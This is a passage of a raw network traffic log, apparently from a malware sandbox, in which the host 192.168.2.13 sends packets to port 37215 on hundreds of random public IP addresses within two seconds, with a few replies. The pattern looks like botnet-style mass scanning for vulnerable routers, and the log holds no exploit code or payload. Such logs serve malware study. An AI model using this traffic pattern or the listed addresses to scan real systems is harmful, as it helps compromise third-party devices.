Jan 1, 2024 12:52:04.047733068 CET	37751	37215	192.168.2.13	154.202.69.15
Jan 1, 2024 12:52:04.047733068 CET	37751	37215	192.168.2.13	181.231.231.203
Jan 1, 2024 12:52:04.047733068 CET	37751	37215	192.168.2.13	197.67.66.126
Jan 1, 2024 12:52:04.047734976 CET	37751	37215	192.168.2.13	41.176.191.146
Jan 1, 2024 12:52:04.047734976 CET	37751	37215	192.168.2.13	197.197.19.206
Jan 1, 2024 12:52:04.047745943 CET	37751	37215	192.168.2.13	197.239.228.46
Jan 1, 2024 12:52:04.047745943 CET	37751	37215	192.168.2.13	197.215.124.157
Jan 1, 2024 12:52:04.047745943 CET	37751	37215	192.168.2.13	156.7.60.149
Jan 1, 2024 12:52:04.047759056 CET	37751	37215	192.168.2.13	154.156.18.246
Jan 1, 2024 12:52:04.047759056 CET	37751	37215	192.168.2.13	197.3.140.249
Jan 1, 2024 12:52:04.047761917 CET	37751	37215	192.168.2.13	92.186.155.186
Jan 1, 2024 12:52:04.047761917 CET	37751	37215	192.168.2.13	186.88.248.226
Jan 1, 2024 12:52:04.047765970 CET	37751	37215	192.168.2.13	156.133.89.50
Jan 1, 2024 12:52:04.047768116 CET	37751	37215	192.168.2.13	181.168.176.99
Jan 1, 2024 12:52:04.047768116 CET	37751	37215	192.168.2.13	120.109.209.24
Jan 1, 2024 12:52:04.047768116 CET	37751	37215	192.168.2.13	186.244.140.207
Jan 1, 2024 12:52:04.047768116 CET	37751	37215	192.168.2.13	197.148.5.127
Jan 1, 2024 12:52:04.047781944 CET	37751	37215	192.168.2.13	95.130.214.25
Jan 1, 2024 12:52:04.047781944 CET	37751	37215	192.168.2.13	156.252.90.59
Jan 1, 2024 12:52:04.047782898 CET	37751	37215	192.168.2.13	157.80.167.172
Jan 1, 2024 12:52:04.047781944 CET	37751	37215	192.168.2.13	156.176.245.254
Jan 1, 2024 12:52:04.047785044 CET	37751	37215	192.168.2.13	102.180.118.193
Jan 1, 2024 12:52:04.047781944 CET	37751	37215	192.168.2.13	41.63.227.37
Jan 1, 2024 12:52:04.047782898 CET	37751	37215	192.168.2.13	156.149.202.56
Jan 1, 2024 12:52:04.047782898 CET	37751	37215	192.168.2.13	157.10.122.13
Jan 1, 2024 12:52:04.047785997 CET	37751	37215	192.168.2.13	197.171.193.147
Jan 1, 2024 12:52:04.047785997 CET	37751	37215	192.168.2.13	197.47.117.63
Jan 1, 2024 12:52:04.047811031 CET	37751	37215	192.168.2.13	156.162.206.141
Jan 1, 2024 12:52:04.047811031 CET	37751	37215	192.168.2.13	41.216.195.208
Jan 1, 2024 12:52:04.047812939 CET	37751	37215	192.168.2.13	156.172.144.23
Jan 1, 2024 12:52:04.047812939 CET	37751	37215	192.168.2.13	156.233.140.56
Jan 1, 2024 12:52:04.047815084 CET	37751	37215	192.168.2.13	156.150.125.168
Jan 1, 2024 12:52:04.047821045 CET	37751	37215	192.168.2.13	156.123.157.154
Jan 1, 2024 12:52:04.047821045 CET	37751	37215	192.168.2.13	122.44.7.26
Jan 1, 2024 12:52:04.047821045 CET	37751	37215	192.168.2.13	181.113.249.196
Jan 1, 2024 12:52:04.047821045 CET	37751	37215	192.168.2.13	41.226.242.192
Jan 1, 2024 12:52:04.047822952 CET	37751	37215	192.168.2.13	197.231.252.107
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	41.53.70.239
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	122.10.178.10
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	121.209.250.229
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	197.253.236.234
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	41.10.41.54
Jan 1, 2024 12:52:04.047823906 CET	37751	37215	192.168.2.13	41.124.122.121
Jan 1, 2024 12:52:04.047826052 CET	37751	37215	192.168.2.13	157.210.34.73
Jan 1, 2024 12:52:04.047826052 CET	37751	37215	192.168.2.13	154.52.194.71
Jan 1, 2024 12:52:04.047826052 CET	37751	37215	192.168.2.13	186.71.57.155
Jan 1, 2024 12:52:04.047826052 CET	37751	37215	192.168.2.13	197.8.193.229
Jan 1, 2024 12:52:04.047861099 CET	37751	37215	192.168.2.13	197.237.95.140
Jan 1, 2024 12:52:04.047861099 CET	37751	37215	192.168.2.13	197.123.148.90
Jan 1, 2024 12:52:04.047862053 CET	37751	37215	192.168.2.13	41.203.143.19
Jan 1, 2024 12:52:04.047861099 CET	37751	37215	192.168.2.13	156.251.90.216
Jan 1, 2024 12:52:04.047862053 CET	37751	37215	192.168.2.13	156.143.85.185
Jan 1, 2024 12:52:04.047863960 CET	37751	37215	192.168.2.13	197.235.86.125
Jan 1, 2024 12:52:04.047862053 CET	37751	37215	192.168.2.13	41.201.253.112
Jan 1, 2024 12:52:04.047863960 CET	37751	37215	192.168.2.13	41.116.73.23
Jan 1, 2024 12:52:04.047862053 CET	37751	37215	192.168.2.13	45.85.186.64
Jan 1, 2024 12:52:04.047863960 CET	37751	37215	192.168.2.13	222.210.243.29
Jan 1, 2024 12:52:04.047868967 CET	37751	37215	192.168.2.13	41.212.108.133
Jan 1, 2024 12:52:04.047868967 CET	37751	37215	192.168.2.13	197.59.77.104
Jan 1, 2024 12:52:04.047863960 CET	37751	37215	192.168.2.13	41.103.2.245
Jan 1, 2024 12:52:04.047868967 CET	37751	37215	192.168.2.13	197.112.23.42
Jan 1, 2024 12:52:04.047872066 CET	37751	37215	192.168.2.13	156.228.188.91
Jan 1, 2024 12:52:04.047863960 CET	37751	37215	192.168.2.13	196.96.187.95
Jan 1, 2024 12:52:04.047872066 CET	37751	37215	192.168.2.13	156.171.38.109
Jan 1, 2024 12:52:04.047868967 CET	37751	37215	192.168.2.13	41.24.221.228
Jan 1, 2024 12:52:04.047872066 CET	37751	37215	192.168.2.13	197.46.131.212
Jan 1, 2024 12:52:04.047874928 CET	37751	37215	192.168.2.13	121.7.57.26
Jan 1, 2024 12:52:04.047874928 CET	37751	37215	192.168.2.13	157.243.161.40
Jan 1, 2024 12:52:04.047874928 CET	37751	37215	192.168.2.13	122.113.57.88
Jan 1, 2024 12:52:04.047874928 CET	37751	37215	192.168.2.13	120.198.223.127
Jan 1, 2024 12:52:04.047874928 CET	37751	37215	192.168.2.13	41.30.224.18
Jan 1, 2024 12:52:04.047904015 CET	37751	37215	192.168.2.13	156.106.6.230
Jan 1, 2024 12:52:04.047904968 CET	37751	37215	192.168.2.13	156.254.204.116
Jan 1, 2024 12:52:04.047904015 CET	37751	37215	192.168.2.13	92.126.136.30
Jan 1, 2024 12:52:04.047904968 CET	37751	37215	192.168.2.13	122.227.98.38
Jan 1, 2024 12:52:04.047904015 CET	37751	37215	192.168.2.13	181.39.245.205
Jan 1, 2024 12:52:04.047904968 CET	37751	37215	192.168.2.13	138.166.240.207
Jan 1, 2024 12:52:04.047908068 CET	37751	37215	192.168.2.13	41.136.213.195
Jan 1, 2024 12:52:04.047908068 CET	37751	37215	192.168.2.13	41.128.106.195
Jan 1, 2024 12:52:04.047908068 CET	37751	37215	192.168.2.13	157.226.242.101
Jan 1, 2024 12:52:04.047910929 CET	37751	37215	192.168.2.13	197.182.121.2
Jan 1, 2024 12:52:04.047910929 CET	37751	37215	192.168.2.13	41.45.93.220
Jan 1, 2024 12:52:04.047910929 CET	37751	37215	192.168.2.13	186.143.212.219
Jan 1, 2024 12:52:04.047916889 CET	37751	37215	192.168.2.13	41.217.255.216
Jan 1, 2024 12:52:04.047916889 CET	37751	37215	192.168.2.13	190.209.129.62
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	160.53.3.103
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	102.219.122.229
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	197.136.10.67
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	156.145.73.115
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	190.83.48.217
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	197.69.16.69
Jan 1, 2024 12:52:04.047919035 CET	37751	37215	192.168.2.13	197.213.42.249
Jan 1, 2024 12:52:04.047924042 CET	37751	37215	192.168.2.13	154.221.38.24
Jan 1, 2024 12:52:04.047924042 CET	37751	37215	192.168.2.13	122.192.51.243
Jan 1, 2024 12:52:04.047949076 CET	37751	37215	192.168.2.13	122.240.29.237
Jan 1, 2024 12:52:04.047950029 CET	37751	37215	192.168.2.13	197.94.45.109
Jan 1, 2024 12:52:04.047950029 CET	37751	37215	192.168.2.13	138.153.72.173
Jan 1, 2024 12:52:04.047950029 CET	37751	37215	192.168.2.13	95.130.110.96
Jan 1, 2024 12:52:04.047955036 CET	37751	37215	192.168.2.13	156.174.235.7
Jan 1, 2024 12:52:04.047955990 CET	37751	37215	192.168.2.13	197.216.237.180
Jan 1, 2024 12:52:04.047955036 CET	37751	37215	192.168.2.13	120.27.25.161
Jan 1, 2024 12:52:04.047955036 CET	37751	37215	192.168.2.13	94.41.190.169
Jan 1, 2024 12:52:04.047955036 CET	37751	37215	192.168.2.13	154.173.41.185
Jan 1, 2024 12:52:04.047956944 CET	37751	37215	192.168.2.13	197.170.78.154
Jan 1, 2024 12:52:04.047956944 CET	37751	37215	192.168.2.13	156.190.67.225
Jan 1, 2024 12:52:04.047956944 CET	37751	37215	192.168.2.13	197.195.248.169
Jan 1, 2024 12:52:04.047960043 CET	37751	37215	192.168.2.13	197.228.169.193
Jan 1, 2024 12:52:04.047960043 CET	37751	37215	192.168.2.13	197.52.231.79
Jan 1, 2024 12:52:04.047960043 CET	37751	37215	192.168.2.13	156.71.201.106
Jan 1, 2024 12:52:04.047960997 CET	37751	37215	192.168.2.13	41.190.84.116
Jan 1, 2024 12:52:04.047960043 CET	37751	37215	192.168.2.13	120.79.158.198
Jan 1, 2024 12:52:04.047960997 CET	37751	37215	192.168.2.13	197.253.30.64
Jan 1, 2024 12:52:04.047960043 CET	37751	37215	192.168.2.13	196.82.4.250
Jan 1, 2024 12:52:04.047986984 CET	37751	37215	192.168.2.13	197.227.145.124
Jan 1, 2024 12:52:04.047986984 CET	37751	37215	192.168.2.13	156.112.17.116
Jan 1, 2024 12:52:04.047986984 CET	37751	37215	192.168.2.13	156.246.82.62
Jan 1, 2024 12:52:04.047991991 CET	37751	37215	192.168.2.13	138.187.120.54
Jan 1, 2024 12:52:04.047991991 CET	37751	37215	192.168.2.13	197.210.212.78
Jan 1, 2024 12:52:04.047993898 CET	37751	37215	192.168.2.13	156.43.225.154
Jan 1, 2024 12:52:04.047993898 CET	37751	37215	192.168.2.13	41.70.203.93
Jan 1, 2024 12:52:04.047993898 CET	37751	37215	192.168.2.13	95.5.116.6
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	156.31.130.219
Jan 1, 2024 12:52:04.047996998 CET	37751	37215	192.168.2.13	120.223.96.121
Jan 1, 2024 12:52:04.047996998 CET	37751	37215	192.168.2.13	41.245.182.228
Jan 1, 2024 12:52:04.047996998 CET	37751	37215	192.168.2.13	197.20.243.130
Jan 1, 2024 12:52:04.047996998 CET	37751	37215	192.168.2.13	122.134.97.115
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	154.173.14.230
Jan 1, 2024 12:52:04.047996998 CET	37751	37215	192.168.2.13	41.202.127.95
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	197.254.65.251
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	156.98.203.198
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	138.175.33.58
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	197.76.59.63
Jan 1, 2024 12:52:04.047995090 CET	37751	37215	192.168.2.13	92.191.66.117
Jan 1, 2024 12:52:04.048027992 CET	37751	37215	192.168.2.13	156.108.16.245
Jan 1, 2024 12:52:04.048027992 CET	37751	37215	192.168.2.13	197.4.198.206
Jan 1, 2024 12:52:04.048027992 CET	37751	37215	192.168.2.13	41.144.23.3
Jan 1, 2024 12:52:04.048029900 CET	37751	37215	192.168.2.13	41.98.43.65
Jan 1, 2024 12:52:04.048031092 CET	37751	37215	192.168.2.13	190.190.14.193
Jan 1, 2024 12:52:04.048031092 CET	37751	37215	192.168.2.13	41.91.67.19
Jan 1, 2024 12:52:04.048031092 CET	37751	37215	192.168.2.13	41.33.101.170
Jan 1, 2024 12:52:04.048031092 CET	37751	37215	192.168.2.13	197.43.169.48
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	156.68.146.116
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	41.179.87.180
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	107.8.97.159
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	156.174.94.224
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	197.255.228.5
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	190.147.160.86
Jan 1, 2024 12:52:04.048032045 CET	37751	37215	192.168.2.13	157.218.56.207
Jan 1, 2024 12:52:04.048059940 CET	37751	37215	192.168.2.13	197.71.173.227
Jan 1, 2024 12:52:04.048059940 CET	37751	37215	192.168.2.13	41.201.107.52
Jan 1, 2024 12:52:04.048059940 CET	37751	37215	192.168.2.13	156.146.10.53
Jan 1, 2024 12:52:04.048059940 CET	37751	37215	192.168.2.13	197.157.22.137
Jan 1, 2024 12:52:04.048062086 CET	37751	37215	192.168.2.13	197.24.137.233
Jan 1, 2024 12:52:04.048062086 CET	37751	37215	192.168.2.13	92.113.193.161
Jan 1, 2024 12:52:04.048062086 CET	37751	37215	192.168.2.13	154.173.70.120
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	156.138.244.202
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	45.197.105.228
Jan 1, 2024 12:52:04.048063993 CET	37751	37215	192.168.2.13	197.135.144.114
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	138.86.173.217
Jan 1, 2024 12:52:04.048063993 CET	37751	37215	192.168.2.13	41.13.244.178
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	92.78.99.2
Jan 1, 2024 12:52:04.048063993 CET	37751	37215	192.168.2.13	186.96.1.222
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	41.161.125.35
Jan 1, 2024 12:52:04.048063993 CET	37751	37215	192.168.2.13	41.58.130.114
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	197.58.208.71
Jan 1, 2024 12:52:04.048063040 CET	37751	37215	192.168.2.13	107.123.120.102
Jan 1, 2024 12:52:04.048063993 CET	37751	37215	192.168.2.13	94.95.30.221
Jan 1, 2024 12:52:04.048080921 CET	37751	37215	192.168.2.13	95.95.14.73
Jan 1, 2024 12:52:04.048080921 CET	37751	37215	192.168.2.13	156.211.37.5
Jan 1, 2024 12:52:04.048084974 CET	37751	37215	192.168.2.13	94.108.117.99
Jan 1, 2024 12:52:04.048088074 CET	37751	37215	192.168.2.13	156.146.164.163
Jan 1, 2024 12:52:04.048088074 CET	37751	37215	192.168.2.13	41.35.12.66
Jan 1, 2024 12:52:04.048088074 CET	37751	37215	192.168.2.13	156.140.116.26
Jan 1, 2024 12:52:04.048089981 CET	37751	37215	192.168.2.13	196.7.127.146
Jan 1, 2024 12:52:04.048089981 CET	37751	37215	192.168.2.13	197.4.70.231
Jan 1, 2024 12:52:04.048089981 CET	37751	37215	192.168.2.13	197.41.6.187
Jan 1, 2024 12:52:04.048089981 CET	37751	37215	192.168.2.13	156.81.172.246
Jan 1, 2024 12:52:04.048089981 CET	37751	37215	192.168.2.13	156.173.161.242
Jan 1, 2024 12:52:04.048096895 CET	37751	37215	192.168.2.13	197.53.18.213
Jan 1, 2024 12:52:04.048100948 CET	37751	37215	192.168.2.13	120.182.54.241
Jan 1, 2024 12:52:04.048100948 CET	37751	37215	192.168.2.13	92.68.8.228
Jan 1, 2024 12:52:04.048105001 CET	37751	37215	192.168.2.13	190.47.220.119
Jan 1, 2024 12:52:04.048111916 CET	37751	37215	192.168.2.13	107.252.189.254
Jan 1, 2024 12:52:04.205503941 CET	37215	37751	186.96.1.222	192.168.2.13
Jan 1, 2024 12:52:04.209847927 CET	37215	37751	156.246.82.62	192.168.2.13
Jan 1, 2024 12:52:04.217439890 CET	37215	37751	156.242.99.36	192.168.2.13
Jan 1, 2024 12:52:04.217683077 CET	37215	37751	156.242.74.38	192.168.2.13
Jan 1, 2024 12:52:04.255188942 CET	37215	37751	181.7.225.193	192.168.2.13
Jan 1, 2024 12:52:04.433597088 CET	37215	37751	41.60.233.233	192.168.2.13
Jan 1, 2024 12:52:04.434844017 CET	37215	37751	197.254.65.251	192.168.2.13
Jan 1, 2024 12:52:04.492075920 CET	37215	37751	102.27.150.200	192.168.2.13
Jan 1, 2024 12:52:04.604861975 CET	37215	37751	197.8.193.229	192.168.2.13
Jan 1, 2024 12:52:04.604918957 CET	37751	37215	192.168.2.13	197.8.193.229
Jan 1, 2024 12:52:04.605000019 CET	37215	37751	197.8.193.229	192.168.2.13
Jan 1, 2024 12:52:04.618779898 CET	37215	37751	196.82.4.250	192.168.2.13
Jan 1, 2024 12:52:05.048672915 CET	37751	37215	192.168.2.13	197.30.14.23
Jan 1, 2024 12:52:05.048677921 CET	37751	37215	192.168.2.13	197.93.122.216
Jan 1, 2024 12:52:05.048683882 CET	37751	37215	192.168.2.13	138.6.70.104
Jan 1, 2024 12:52:05.048685074 CET	37751	37215	192.168.2.13	41.201.242.136
Jan 1, 2024 12:52:05.048683882 CET	37751	37215	192.168.2.13	156.19.152.39
Jan 1, 2024 12:52:05.048686981 CET	37751	37215	192.168.2.13	156.177.248.185
Jan 1, 2024 12:52:05.048686981 CET	37751	37215	192.168.2.13	156.237.141.227
Jan 1, 2024 12:52:05.048707008 CET	37751	37215	192.168.2.13	197.118.208.117
Jan 1, 2024 12:52:05.048707962 CET	37751	37215	192.168.2.13	197.226.167.128
Jan 1, 2024 12:52:05.048708916 CET	37751	37215	192.168.2.13	197.53.227.174
Jan 1, 2024 12:52:05.048708916 CET	37751	37215	192.168.2.13	197.60.56.22
Jan 1, 2024 12:52:05.048723936 CET	37751	37215	192.168.2.13	222.37.184.102
Jan 1, 2024 12:52:05.048731089 CET	37751	37215	192.168.2.13	157.163.187.234
Jan 1, 2024 12:52:05.048732996 CET	37751	37215	192.168.2.13	190.179.181.254
Jan 1, 2024 12:52:05.048734903 CET	37751	37215	192.168.2.13	186.119.0.20
Jan 1, 2024 12:52:05.048738003 CET	37751	37215	192.168.2.13	156.36.243.0
Jan 1, 2024 12:52:05.048737049 CET	37751	37215	192.168.2.13	197.240.172.182
Jan 1, 2024 12:52:05.048748016 CET	37751	37215	192.168.2.13	41.64.43.241
Jan 1, 2024 12:52:05.048751116 CET	37751	37215	192.168.2.13	197.242.84.43
Jan 1, 2024 12:52:05.048758030 CET	37751	37215	192.168.2.13	95.250.112.103
Jan 1, 2024 12:52:05.048774004 CET	37751	37215	192.168.2.13	138.220.251.54
Jan 1, 2024 12:52:05.048779011 CET	37751	37215	192.168.2.13	156.167.180.138
Jan 1, 2024 12:52:05.048784018 CET	37751	37215	192.168.2.13	156.216.24.59
Jan 1, 2024 12:52:05.048784971 CET	37751	37215	192.168.2.13	197.66.232.154
Jan 1, 2024 12:52:05.048784971 CET	37751	37215	192.168.2.13	41.247.124.74
Jan 1, 2024 12:52:05.048795938 CET	37751	37215	192.168.2.13	196.100.214.82
Jan 1, 2024 12:52:05.048795938 CET	37751	37215	192.168.2.13	156.59.168.14
Jan 1, 2024 12:52:05.048795938 CET	37751	37215	192.168.2.13	156.4.250.246
Jan 1, 2024 12:52:05.048795938 CET	37751	37215	192.168.2.13	156.99.122.23
Jan 1, 2024 12:52:05.048803091 CET	37751	37215	192.168.2.13	156.24.88.97
Jan 1, 2024 12:52:05.048803091 CET	37751	37215	192.168.2.13	197.108.91.109
Jan 1, 2024 12:52:05.048816919 CET	37751	37215	192.168.2.13	41.147.161.53
Jan 1, 2024 12:52:05.048816919 CET	37751	37215	192.168.2.13	41.13.62.145
Jan 1, 2024 12:52:05.048815012 CET	37751	37215	192.168.2.13	102.212.195.69
Jan 1, 2024 12:52:05.048834085 CET	37751	37215	192.168.2.13	156.159.167.222
Jan 1, 2024 12:52:05.048837900 CET	37751	37215	192.168.2.13	41.239.156.122
Jan 1, 2024 12:52:05.048842907 CET	37751	37215	192.168.2.13	107.121.113.223
Jan 1, 2024 12:52:05.048842907 CET	37751	37215	192.168.2.13	41.181.99.14
Jan 1, 2024 12:52:05.048844099 CET	37751	37215	192.168.2.13	197.71.96.185
Jan 1, 2024 12:52:05.048850060 CET	37751	37215	192.168.2.13	41.6.224.37
Jan 1, 2024 12:52:05.048852921 CET	37751	37215	192.168.2.13	41.200.248.125
Jan 1, 2024 12:52:05.048854113 CET	37751	37215	192.168.2.13	41.23.235.38
Jan 1, 2024 12:52:05.048855066 CET	37751	37215	192.168.2.13	41.215.23.49
Jan 1, 2024 12:52:05.048855066 CET	37751	37215	192.168.2.13	156.35.116.193
Jan 1, 2024 12:52:05.048855066 CET	37751	37215	192.168.2.13	156.143.228.114
Jan 1, 2024 12:52:05.048865080 CET	37751	37215	192.168.2.13	102.215.216.172
Jan 1, 2024 12:52:05.048866034 CET	37751	37215	192.168.2.13	41.234.212.131
Jan 1, 2024 12:52:05.048868895 CET	37751	37215	192.168.2.13	37.233.32.234
Jan 1, 2024 12:52:05.048868895 CET	37751	37215	192.168.2.13	197.189.40.94
Jan 1, 2024 12:52:05.048875093 CET	37751	37215	192.168.2.13	122.83.120.59
Jan 1, 2024 12:52:05.048875093 CET	37751	37215	192.168.2.13	41.79.40.5
Jan 1, 2024 12:52:05.048875093 CET	37751	37215	192.168.2.13	107.96.90.139
Jan 1, 2024 12:52:05.048876047 CET	37751	37215	192.168.2.13	160.88.226.87
Jan 1, 2024 12:52:05.048876047 CET	37751	37215	192.168.2.13	157.253.76.147
Jan 1, 2024 12:52:05.048876047 CET	37751	37215	192.168.2.13	41.61.196.133
Jan 1, 2024 12:52:05.048876047 CET	37751	37215	192.168.2.13	156.135.54.228
Jan 1, 2024 12:52:05.048877954 CET	37751	37215	192.168.2.13	156.46.67.10
Jan 1, 2024 12:52:05.048880100 CET	37751	37215	192.168.2.13	107.198.49.74
Jan 1, 2024 12:52:05.048883915 CET	37751	37215	192.168.2.13	41.81.150.130
Jan 1, 2024 12:52:05.048891068 CET	37751	37215	192.168.2.13	156.161.185.255
Jan 1, 2024 12:52:05.048892021 CET	37751	37215	192.168.2.13	122.143.25.118
Jan 1, 2024 12:52:05.048896074 CET	37751	37215	192.168.2.13	41.252.20.51
Jan 1, 2024 12:52:05.048897982 CET	37751	37215	192.168.2.13	196.214.130.59
Jan 1, 2024 12:52:05.048913002 CET	37751	37215	192.168.2.13	107.15.61.215
Jan 1, 2024 12:52:05.048916101 CET	37751	37215	192.168.2.13	94.182.243.80
Jan 1, 2024 12:52:05.048919916 CET	37751	37215	192.168.2.13	197.12.149.85
Jan 1, 2024 12:52:05.048930883 CET	37751	37215	192.168.2.13	196.45.48.221
Jan 1, 2024 12:52:05.048937082 CET	37751	37215	192.168.2.13	156.114.249.20
Jan 1, 2024 12:52:05.048938036 CET	37751	37215	192.168.2.13	156.128.64.211
Jan 1, 2024 12:52:05.048938036 CET	37751	37215	192.168.2.13	197.48.112.17
Jan 1, 2024 12:52:05.048949957 CET	37751	37215	192.168.2.13	197.193.105.145
Jan 1, 2024 12:52:05.048959017 CET	37751	37215	192.168.2.13	41.30.111.8
Jan 1, 2024 12:52:05.048966885 CET	37751	37215	192.168.2.13	156.100.47.8
Jan 1, 2024 12:52:05.048968077 CET	37751	37215	192.168.2.13	197.0.145.198
Jan 1, 2024 12:52:05.048978090 CET	37751	37215	192.168.2.13	41.131.146.206
Jan 1, 2024 12:52:05.049000978 CET	37751	37215	192.168.2.13	197.112.1.182
Jan 1, 2024 12:52:05.049000978 CET	37751	37215	192.168.2.13	186.252.6.184
Jan 1, 2024 12:52:05.049000978 CET	37751	37215	192.168.2.13	181.43.11.135
Jan 1, 2024 12:52:05.049000978 CET	37751	37215	192.168.2.13	156.250.146.54
Jan 1, 2024 12:52:05.049000978 CET	37751	37215	192.168.2.13	94.117.146.176
Jan 1, 2024 12:52:05.049005985 CET	37751	37215	192.168.2.13	197.84.207.115
Jan 1, 2024 12:52:05.049012899 CET	37751	37215	192.168.2.13	156.75.242.122
Jan 1, 2024 12:52:05.049014091 CET	37751	37215	192.168.2.13	197.236.235.218
Jan 1, 2024 12:52:05.049012899 CET	37751	37215	192.168.2.13	197.32.176.169
Jan 1, 2024 12:52:05.049012899 CET	37751	37215	192.168.2.13	154.183.238.7
Jan 1, 2024 12:52:05.049016953 CET	37751	37215	192.168.2.13	45.51.178.154
Jan 1, 2024 12:52:05.049016953 CET	37751	37215	192.168.2.13	94.122.86.182
Jan 1, 2024 12:52:05.049019098 CET	37751	37215	192.168.2.13	45.138.134.250
Jan 1, 2024 12:52:05.049022913 CET	37751	37215	192.168.2.13	92.154.147.120
Jan 1, 2024 12:52:05.049022913 CET	37751	37215	192.168.2.13	197.247.195.59
Jan 1, 2024 12:52:05.049030066 CET	37751	37215	192.168.2.13	157.20.45.136
Jan 1, 2024 12:52:05.049030066 CET	37751	37215	192.168.2.13	157.92.101.96
Jan 1, 2024 12:52:05.049034119 CET	37751	37215	192.168.2.13	196.171.206.68
Jan 1, 2024 12:52:05.049034119 CET	37751	37215	192.168.2.13	197.0.75.14
Jan 1, 2024 12:52:05.049034119 CET	37751	37215	192.168.2.13	197.62.212.103
Jan 1, 2024 12:52:05.049037933 CET	37751	37215	192.168.2.13	181.14.113.17
Jan 1, 2024 12:52:05.049038887 CET	37751	37215	192.168.2.13	120.213.222.176
Jan 1, 2024 12:52:05.049046993 CET	37751	37215	192.168.2.13	94.116.1.154
Jan 1, 2024 12:52:05.049048901 CET	37751	37215	192.168.2.13	107.1.112.133
Jan 1, 2024 12:52:05.049048901 CET	37751	37215	192.168.2.13	197.183.226.247
Jan 1, 2024 12:52:05.049061060 CET	37751	37215	192.168.2.13	156.231.142.234
Jan 1, 2024 12:52:05.049067020 CET	37751	37215	192.168.2.13	196.176.192.50
Jan 1, 2024 12:52:05.049068928 CET	37751	37215	192.168.2.13	197.217.195.179
Jan 1, 2024 12:52:05.049068928 CET	37751	37215	192.168.2.13	156.154.182.77
Jan 1, 2024 12:52:05.049072027 CET	37751	37215	192.168.2.13	41.179.147.73
Jan 1, 2024 12:52:05.049072027 CET	37751	37215	192.168.2.13	156.195.136.31
Jan 1, 2024 12:52:05.049077988 CET	37751	37215	192.168.2.13	37.163.107.162
Jan 1, 2024 12:52:05.049084902 CET	37751	37215	192.168.2.13	102.150.3.30
Jan 1, 2024 12:52:05.049087048 CET	37751	37215	192.168.2.13	197.93.87.19
Jan 1, 2024 12:52:05.049096107 CET	37751	37215	192.168.2.13	197.4.25.157
Jan 1, 2024 12:52:05.049097061 CET	37751	37215	192.168.2.13	197.92.21.208
Jan 1, 2024 12:52:05.049109936 CET	37751	37215	192.168.2.13	197.179.250.229
Jan 1, 2024 12:52:05.049109936 CET	37751	37215	192.168.2.13	120.118.79.132
Jan 1, 2024 12:52:05.049109936 CET	37751	37215	192.168.2.13	41.147.93.99
Jan 1, 2024 12:52:05.049109936 CET	37751	37215	192.168.2.13	41.130.97.75
Jan 1, 2024 12:52:05.049112082 CET	37751	37215	192.168.2.13	156.219.155.13
Jan 1, 2024 12:52:05.049112082 CET	37751	37215	192.168.2.13	41.232.180.195
Jan 1, 2024 12:52:05.049113035 CET	37751	37215	192.168.2.13	156.124.135.148
Jan 1, 2024 12:52:05.049113989 CET	37751	37215	192.168.2.13	197.220.116.178
Jan 1, 2024 12:52:05.049129963 CET	37751	37215	192.168.2.13	197.166.11.68
Jan 1, 2024 12:52:05.049129963 CET	37751	37215	192.168.2.13	156.229.75.15
Jan 1, 2024 12:52:05.049134016 CET	37751	37215	192.168.2.13	197.143.182.34
Jan 1, 2024 12:52:05.049134016 CET	37751	37215	192.168.2.13	92.160.211.48
Jan 1, 2024 12:52:05.049134016 CET	37751	37215	192.168.2.13	156.130.20.239
Jan 1, 2024 12:52:05.049139023 CET	37751	37215	192.168.2.13	190.240.164.118
Jan 1, 2024 12:52:05.049139023 CET	37751	37215	192.168.2.13	120.201.137.177
Jan 1, 2024 12:52:05.049139023 CET	37751	37215	192.168.2.13	197.253.118.13
Jan 1, 2024 12:52:05.049139023 CET	37751	37215	192.168.2.13	157.160.33.5
Jan 1, 2024 12:52:05.049150944 CET	37751	37215	192.168.2.13	156.87.29.112
Jan 1, 2024 12:52:05.049156904 CET	37751	37215	192.168.2.13	156.234.117.149
Jan 1, 2024 12:52:05.049159050 CET	37751	37215	192.168.2.13	156.39.73.185
Jan 1, 2024 12:52:05.049158096 CET	37751	37215	192.168.2.13	197.14.153.130
Jan 1, 2024 12:52:05.049159050 CET	37751	37215	192.168.2.13	102.112.194.116
Jan 1, 2024 12:52:05.049160004 CET	37751	37215	192.168.2.13	92.59.217.175
Jan 1, 2024 12:52:05.049158096 CET	37751	37215	192.168.2.13	156.115.84.85
Jan 1, 2024 12:52:05.049160004 CET	37751	37215	192.168.2.13	41.83.63.48
Jan 1, 2024 12:52:05.049158096 CET	37751	37215	192.168.2.13	154.113.67.167
Jan 1, 2024 12:52:05.049166918 CET	37751	37215	192.168.2.13	156.44.158.233
